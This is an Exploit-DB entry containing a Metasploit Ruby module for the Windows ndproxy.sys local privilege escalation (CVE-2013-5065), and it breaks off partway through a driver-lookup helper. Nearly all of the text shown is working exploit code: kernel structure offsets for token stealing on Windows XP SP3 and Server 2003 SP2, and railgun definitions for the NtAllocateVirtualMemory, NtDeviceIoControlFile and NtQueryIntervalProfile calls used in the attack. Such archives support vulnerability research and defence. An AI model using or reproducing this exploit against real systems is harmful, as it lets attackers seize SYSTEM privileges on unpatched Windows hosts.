Exploit-DB #30392
Description: Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit)
Type: local
Platform: windows
Date: 2013-12-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
        SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
        processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
        to access an array unsafely, and the value is used to perform a call, leading to a NULL
        pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
        module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
        work the service "Routing and Remote Access" must be running on the target system.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability discovery
          'ryujin', # python PoC
          'Shahin Ramezany', # C PoC
          'juan vazquez' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'Payload'       =>
        {
          'Space' => 4096,
          'DisableNops' => true
        },
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          [ 'Automatic', { } ],
          [ 'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
              '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ],
          [ 'Windows Server 2003 SP2',
            {
              'HaliQuerySystemInfo' => 0x1fa1e,
              '_KPROCESS' => "\x38",
              '_TOKEN' => "\xd8",
              '_UPID' => "\x94",
              '_APLINKS' => "\x98"
            }
          ]
        ],
      'References'    =>
        [
          [ 'CVE', '2013-5065' ],
          [ 'OSVDB' , '100368'],
          [ 'BID', '63971' ],
          [ 'EDB', '30014' ],
          [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
          [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
          [ 'URL', 'http://www.secniu.com/blog/?p=53' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
          [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
        ],
      'DisclosureDate'=> 'Nov 27 2013',
      'DefaultTarget' => 0
    }))

  end

  def add_railgun_functions
    session.railgun.add_function(
      'ntdll',
      'NtAllocateVirtualMemory',
      'DWORD',
      [
        ["DWORD", "ProcessHandle", "in"],
        ["PBLOB", "BaseAddress", "inout"],
        ["PDWORD", "ZeroBits", "in"],
        ["PBLOB", "RegionSize", "inout"],
        ["DWORD", "AllocationType", "in"],
        ["DWORD", "Protect", "in"]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtDeviceIoControlFile',
      'DWORD',
      [
        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]
      ])

    session.railgun.add_function(
      'ntdll',
      'NtQueryIntervalProfile',
      'DWORD',
      [
        [ "DWORD", "ProfileSource", "in" ],
        [ "PDWORD", "Interval", "out" ]
      ])
    session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function(
      'psapi',
      'EnumDeviceDrivers',
      'BOOL',
      [
        ["PBLOB", "lpImageBase", "out"],
        ["DWORD", "cb", "in"],
        ["PDWORD", "lpcbNeeded", "out"]
      ])
    session.railgun.add_function(
      'psapi',
      'GetDeviceDriverBaseNameA',
      'DWORD',
      [
        ["LPVOID", "ImageBase", "in"],
        ["PBLOB", "lpBaseName", "out"],
        ["DWORD", "nSize", "in"]
      ])
  end

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('kr